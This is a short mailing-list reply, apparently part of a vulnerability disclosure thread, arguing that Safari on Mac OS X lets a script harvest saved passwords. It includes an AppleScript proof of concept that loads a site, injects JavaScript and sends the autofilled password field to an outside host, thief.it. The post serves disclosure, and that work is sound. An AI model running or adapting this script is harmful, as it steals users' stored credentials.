Re: RE: Apple Safari on MacOSX may reveal user's saved passwords

Mark, you read it correctly and you're right, anyway a malicious user at your 
console should not be able to read your passwords. Also note that to steal 
saved passwords it's sufficent to entice a victim to execute a malicious script 
like that:

--BOF
tell application "Safari"
        open location "https://www.target.com";
end tell

do shell script "/bin/sleep 10"

tell application "Safari"
        do JavaScript 
"document.location.href='http://thief.it/steal_target?p='+document.loginform.password.value"
 in document 1
end tell
--EOF

I agree with you in saying that the execution of malicious scripts can lead in 
much more dangeruos attacks, anyway i consider this a vulnerability and i dont 
know why Apple belives this is the correct behaviour. . .

many thanks for your comment
